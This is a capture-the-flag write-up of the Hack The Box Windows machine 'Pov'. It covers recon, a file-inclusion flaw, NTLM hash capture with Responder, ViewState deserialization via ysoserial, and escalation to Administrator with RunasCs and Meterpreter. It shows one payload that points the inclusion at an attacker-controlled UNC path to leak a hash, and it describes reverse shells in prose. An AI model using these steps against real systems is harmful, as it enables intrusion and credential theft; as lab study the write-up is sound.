🟨POV
IP: 10.10.11.251 - Platform: Windows - Difficulty: Medium
RECON
Nmap
nmap reveals that only port 80 is open. That is kinda strange for a typical machine seen on HTB. Most of the boxes tend to open port 22 (or commonly refer as SSH) as a way to remote access as user or root. The usual approach would be to grab the creds through some nefarious ways then log in SSH creds.
map -sV -sC -v -T4 10.10.11.251
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-title: pov.htb
|_http-server-header: Microsoft-IIS/10.0
|_http-favicon: Unknown favicon MD5: E9B5E66DEBD9405ED864CAC17E2A888E
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
FFUF
Using ffuf to search for subdomains that respond different with code 200/300
Only 1 subdomain returns 302 - dev. Let add it into /etc/hosts.
GAINING FOOTHOLD
pov.htb provides no indication of a possible attack vector. However, in dev.pov.htb, I stumbled upon LFI (Local File Incursion) when examining the parameters in the intercepted package in Burpsuite while tinkering with the web download function.
It took some time to find a few intriguing files:
default.aspxweb.configcontact.aspx
LFI & Responder
Now what we are going to do here is we are going to capture the NTLM hash by using Responder
file=%5C%5C10.10.X.X%5Csomefile
Our payload basically is \\10.10.X.X\somefile wrap in URL encoding.
And this is the dead end because this hash is uncrackable. :<
ViewState Deserialization Exploit
An overview of the approach
So let's talk about ViewState for a little bit:
The ASP.NET framework's default method for maintaining page and control values across web pages is called ViewState. The current state of the page and any values that must be kept during postback are serialized into base64-encoded strings and output in the ViewState hidden field or fields when the HTML for the page is rendered.
Because of its connection to the way
ASP.NEThandlesViewStatecreation and processing through the use of theObjectStateFormatterfor serialization and deserialization,ViewStateby itself isn't a problem; rather,ASP.NET's encryption and signature for serialized data could be compromised.
Attackers could create malicious payloads that imitate authentic ViewState by taking advantage of deserialization flaws in ObjectStateFormatter, thanks to exposed algorithms or keys.
-> In this case, we could leverage the leak of encryption and signature keys obtained from web.config file.
Luckily, the .NET deserialization tool ysoserial includes a ViewState-specific feature. Vulnerabilities in ObjectStateFormatter deserialization are caused by its use of known keys and algorithms to impersonate ViewState encryption and signatures.
Cracking the nut
With ASP.NET framework ≥ 4.5, we need to supply the decryption algorithm and the decryption key to the ysoserial:
In this example, we will be using a simple PowerShell Reverse Shell encoded in Base64:
Then, serialized it by ysoserial :
Finally, after replacing the URL encoded value of the generated payload with the value of the __VIEWSTATE in the above-mentioned request, our payload will be executed.
Now, we have gained a shell as POV\sfitz
PRIVILEGE ESCALATION
Enumeration
Getting users SID:
So sfitz lacks the privilege to receive the user flag; perhaps alaading does?
After a bit of exploring, I find this file:
We could directly parsing from XML:
Using the given credential, we would be using a PowerShell script to trigger a reverse shell:
Boom?!
Gaining shell as Administrator
Checking the privilege of POV\alaading:
Understanding about SeDebugPrivilege
SeDebugPrivilege By itself, SeDebugPrivilege gives a process the ability to view and modify the memory of other processes. Regardless of security descriptors, SeDebugPrivilege grants the token bearer access to any process or thread.
As we could see on this machine, alaading does not have SeDebugPrivilege enabled. So, to bypass this, we could import RunasCs.
RunasCs is a tool that allows you to use explicit credentials to run particular processes with permissions different from what our shell current provides.
As you can see below, RunasCs enables a list of privileges for a specific security token.
We would use it to spawn another shell:
Catch it with nc:
Checking on the privilege info reveals suprising discovery:
With SeDebugPrivilege enabled, we can upload a Meterpreter shell to the machine and gain leverage access as Administrator.
To get the malicious payload onto the target computer, host it on a Python http.server and then use:
Finally, execute it by:
And voilà!!
Now, one of the oldest tricks on the book is to migrate into another Windows processes:
This can be easily completed if you have a Meterpreter shell. All you have to do is wait for process migration to occur after launching the "migrate" command with the PID specified. In technical terms, by creating a thread inside another process, this is more of a malicious code injection than a true migration, and Meterpreter is exceptional at doing this. It creates a new remote thread and injects your current session into it, along with all of your loaded extensions and configurations.
By migrating into a more privileged process, we should be able to gain NT AUTHRITY:
Lastly, take the PID and let Meterpreter handle everything:
Avada Kedavra 🎉
H4v3 fun ^^
RESOURCES
Last updated